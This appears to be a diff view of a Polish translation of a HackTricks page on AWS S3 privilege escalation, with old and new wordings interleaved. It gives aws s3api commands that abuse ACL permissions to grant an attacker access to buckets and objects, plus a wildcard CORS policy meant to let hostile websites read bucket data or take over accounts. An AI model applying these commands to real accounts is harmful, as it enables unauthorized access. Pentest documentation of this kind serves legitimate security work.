### `s3:GetBucketAcl`, `s3:PutBucketAcl`
|
||||
|
||||
Atakujący mógłby nadużyć tych uprawnień, aby **przyznać sobie większy dostęp** do określonych buckets.\
|
||||
Należy zauważyć, że atakujący nie musi pochodzić z tego samego konta. Co więcej, dostęp do zapisu
|
||||
Atakujący mógłby nadużyć tych uprawnień, aby **uzyskać większy dostęp** do konkretnych bucketów.\
|
||||
Zauważ, że atakujący nie musi pochodzić z tego samego konta. Co więcej, dostęp do zapisu
|
||||
```bash
|
||||
# Update bucket ACL
|
||||
aws s3api get-bucket-acl --bucket <bucket-name>
|
||||
@@ -150,7 +150,7 @@ aws s3api put-bucket-acl --bucket <bucket-name> --access-control-policy file://a
|
||||
```
|
||||
### `s3:GetObjectAcl`, `s3:PutObjectAcl`
|
||||
|
||||
Atakujący może nadużyć tych uprawnień, aby przyznać sobie większy dostęp do konkretnych `objects` wewnątrz `buckets`.
|
||||
Atakujący może nadużyć tych uprawnień, aby przyznać sobie większy dostęp do konkretnych obiektów w obrębie buckets.
|
||||
```bash
|
||||
# Update bucket object ACL
|
||||
aws s3api get-object-acl --bucket <bucekt-name> --key flag
|
||||
@@ -177,9 +177,29 @@ aws s3api put-object-acl --bucket <bucket-name> --key flag --access-control-poli
|
||||
```
|
||||
### `s3:GetObjectAcl`, `s3:PutObjectVersionAcl`
|
||||
|
||||
Oczekuje się, że atakujący z tymi uprawnieniami będzie mógł ustawić Acl dla konkretnej wersji obiektu.
|
||||
Atakujący mający takie uprawnienia powinien móc przypisać Acl do konkretnej wersji obiektu.
|
||||
```bash
|
||||
aws s3api get-object-acl --bucket <bucekt-name> --key flag
|
||||
aws s3api put-object-acl --bucket <bucket-name> --key flag --version-id <value> --access-control-policy file://objacl.json
|
||||
```
|
||||
### `s3:PutBucketCORS`
|
||||
|
||||
Atakujący posiadający uprawnienie s3:PutBucketCORS może zmodyfikować konfigurację CORS (Cross-Origin Resource Sharing) bucketu, która kontroluje, które domeny internetowe mogą uzyskiwać dostęp do jego endpointów. Jeśli ustawi przyzwalającą politykę, dowolna strona WWW będzie mogła wysyłać bezpośrednie żądania do bucketu i odczytywać odpowiedzi w przeglądarce.
|
||||
|
||||
Oznacza to, że potencjalnie, jeśli uwierzytelniony użytkownik aplikacji webowej hostowanej z tego bucketu odwiedzi stronę atakującego, atakujący może wykorzystać permissive politykę CORS i, w zależności od aplikacji, uzyskać dostęp do danych profilu użytkownika lub nawet przejąć jego konto.
|
||||
```bash
|
||||
aws s3api put-bucket-cors \
|
||||
--bucket <BUCKET_NAME> \
|
||||
--cors-configuration '{
|
||||
"CORSRules": [
|
||||
{
|
||||
"AllowedOrigins": ["*"],
|
||||
"AllowedMethods": ["GET", "PUT", "POST"],
|
||||
"AllowedHeaders": ["*"],
|
||||
"ExposeHeaders": ["x-amz-request-id"],
|
||||
"MaxAgeSeconds": 3000
|
||||
}
|
||||
]
|
||||
}'
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user